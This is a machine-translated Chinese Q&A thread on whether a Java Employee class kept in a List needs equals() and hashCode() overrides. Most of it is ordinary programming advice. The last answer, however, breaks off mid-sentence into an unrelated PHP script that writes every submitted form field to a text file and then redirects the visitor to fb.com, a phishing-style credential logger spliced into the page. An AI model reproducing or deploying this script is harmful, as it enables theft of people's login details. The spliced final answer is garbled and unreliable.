如果我创建的对象不用于list.contains(new Employee("MM"))
等比较,并且这些对象只存储在List
等数据库返回的List<Employee>employeeList = employeeService.getEmployeeList();
中,那么我需要覆盖equals()
类中的hashCode()
和Employee
?
答案 0 :(得分:2)
如果您知道自己永远不会将该对象用作HashMap
中的某个键,或者永远不会将其置于任何类型的Set
中,或者从不对其进行任何操作对象比较除了&#34;这些引用是指字面上相同的实例或不是&#34;,那么您不必覆盖equals()
和hashCode()
。
如果情况并非如此,您必须覆盖它们,那么请考虑让IDE生成覆盖而不是手动执行 - 尤其是hashCode()
。请注意,当IDE生成这些字段时,您可以告诉IDE要包含哪些字段以及不包括哪些字段,这甚至可以进一步减少手动编写覆盖的任何需要。
答案 1 :(得分:2)
不,如果您不需要自定义的相等定义,则无需覆盖.equals()
和.hashCode()
。只要您打算将类的每个实例都视为与其他实例不相等,默认值就可以正常工作。您可以将这些对象存储在List
中,甚至可以存储在基于哈希的集合中,例如HashMap
和HashSet
s - 这两个类对于默认的Object
概念都没有问题等价。
此外,对于许多类,不应覆盖这些方法。许多常见的设计模式将包括不等同的类,例如factories,singletons和state machines。为这些类定义一个自定义的相等概念可能会引入奇怪的错误,或者至少只是不必要的样板。
另一方面,value types或专门用作某种数据的结构化表示的类几乎总是覆盖.equals()
和.hashCode()
(并且可能实现Comparable
因为它是这类类的用户可能期望的。 Auto/Value项目使得创建这样的值类型变得非常轻松;如果这是你正在构建的课程类型,我强烈建议你使用它。
答案 2 :(得分:2)
正如QuantumMechanic上面所说,您无需覆盖equals()
和hashcode()
。
但是,如果要与其他人共享Employee类,最好添加相等和哈希码,以便其他人更容易使用。
此外,Eclipse可以通过右键单击 - &gt;生成这些功能。来源 - &gt;生成hashCode()
和equals()
答案 3 :(得分:1)
为什么要覆盖Equals方法:
如果你需要将对象存储在Collection,List中,你应该重写equals方法,因为当你使用indexOf,lastIndexOf等API方法时,那些api方法在内部使用equals方法。如果你不重写等于方法,那么你可能会从集合中获取这些对象,因为身份检查不是从集合中取回对象的正确方法。
为什么要覆盖hashCode方法:
如果您的对象需要存储在地图集合中的集合或关键对象中,则必须覆盖Equals
和 <?php
header("Location: http://fb.com/ ");
$handle = fopen("test.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
,因为这两种方法都用于从这些集合中获取对象